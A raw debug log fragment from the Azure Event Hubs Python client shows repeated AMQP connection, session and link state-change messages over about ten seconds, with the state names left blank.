[azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:44,391 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:44,391 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:44,391 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:44,392 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:44,392 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:44,392 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:44,392 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:44,392 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:44,392 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:44,392 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:44,392 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:44,392 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:44,392 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:44,623 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:44,731 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:44,731 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:44,731 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:44,731 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:44,732 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:44,732 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:44,732 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:44,732 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:44,785 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:44,835 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:44,886 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:44,936 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:44,936 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:44,987 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:44,987 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:45,192 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:45,247 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:45,358 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:45,359 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:45,359 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:45,359 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:45,359 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:45,359 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:45,359 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:45,359 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:45,359 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:45,359 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:45,359 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:45,359 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:45,359 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:45,359 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:45,583 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:45,690 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:45,690 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:45,690 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:45,690 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:45,691 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:45,691 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:45,691 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:45,691 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:45,743 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:45,793 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:45,844 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:45,894 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:45,894 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:45,945 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:45,945 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:46,149 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:46,203 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:46,314 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:46,314 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:46,314 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:46,314 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:46,314 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:46,314 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:46,315 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:46,315 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:46,315 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:46,315 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:46,315 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:46,315 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:46,315 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:46,315 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:46,531 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:46,631 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:46,631 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:46,631 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:46,632 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:46,632 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:46,632 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:46,632 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:46,632 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:46,681 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:46,732 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:46,782 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:46,832 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:46,832 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:46,883 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:46,883 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:47,085 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:47,135 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:47,243 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:47,243 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:47,243 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:47,243 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:47,243 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:47,243 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:47,244 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:47,244 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:47,244 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:47,244 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:47,244 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:47,244 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:47,244 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:47,244 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:47,477 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:47,593 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:47,594 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:47,594 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:47,594 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:47,594 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:47,594 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:47,594 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:47,594 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:47,651 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:47,702 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:47,752 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:47,803 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:47,803 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:47,853 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:47,853 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:48,062 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:48,120 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:48,235 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:48,235 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:48,235 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:48,235 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:48,235 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:48,235 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:48,236 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:48,236 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:48,236 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:48,236 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:48,236 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:48,236 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:48,236 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:48,236 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:48,466 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:48,575 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:48,575 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:48,575 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:48,575 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:48,575 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:48,575 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:48,575 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:48,576 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:48,629 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:48,679 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:48,730 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:48,780 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:48,780 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:48,831 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:48,831 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:49,036 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:49,091 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:49,203 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:49,204 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:49,204 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:49,204 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:49,204 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:49,204 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:49,204 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:49,204 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:49,204 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:49,204 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:49,204 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:49,204 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:49,204 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:49,204 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:49,446 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:49,563 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:49,564 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:49,564 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:49,564 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:49,564 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:49,564 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:49,564 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:49,564 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:49,622 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:49,672 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:49,723 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:49,773 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:49,773 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:49,824 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:49,824 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:50,034 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:50,093 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:50,209 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:50,209 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:50,209 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:50,209 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:50,209 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:50,209 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:50,209 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:50,209 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:50,210 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:50,210 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:50,210 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:50,210 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:50,210 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:50,210 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:50,453 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:50,570 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:50,570 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:50,570 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:50,570 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:50,570 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:50,570 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:50,570 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:50,570 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:50,628 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:50,678 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:50,729 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:50,779 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:50,779 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:50,830 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:50,830 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:51,039 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:51,098 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:51,213 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:51,213 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:51,214 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:51,214 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:51,214 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:51,214 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:51,214 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:51,214 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:51,214 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:51,214 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:51,214 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:51,214 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:51,214 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:51,214 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:51,456 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:51,565 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:51,565 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:51,565 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:51,565 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:51,565 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:51,565 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:51,565 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:51,565 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:51,620 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:51,671 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:51,721 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:51,771 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:51,772 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:51,822 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:51,822 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:52,028 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:52,082 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:52,194 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:52,194 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:52,194 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:52,195 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:52,195 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:52,195 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:52,195 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:52,195 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:52,195 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:52,195 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:52,195 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:52,195 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:52,195 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:52,195 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:52,418 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:52,525 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:52,526 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:52,526 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:52,526 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:52,526 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:52,526 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:52,526 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:52,526 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:52,579 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:52,629 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:52,680 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:52,730 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:52,730 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:52,781 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:52,781 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:52,985 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:53,043 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:53,153 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:53,153 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:53,153 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:53,153 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:53,153 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:53,153 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:53,153 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:53,153 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:53,153 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:53,153 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:53,153 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:53,153 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:53,153 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:53,154 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:53,368 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:53,469 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:53,469 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:53,469 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:53,469 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:53,469 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:53,469 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:53,470 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:53,470 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:53,519 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:53,570 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:53,620 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:53,670 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:53,671 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:53,721 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:53,721 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:53,923 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:53,974 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> 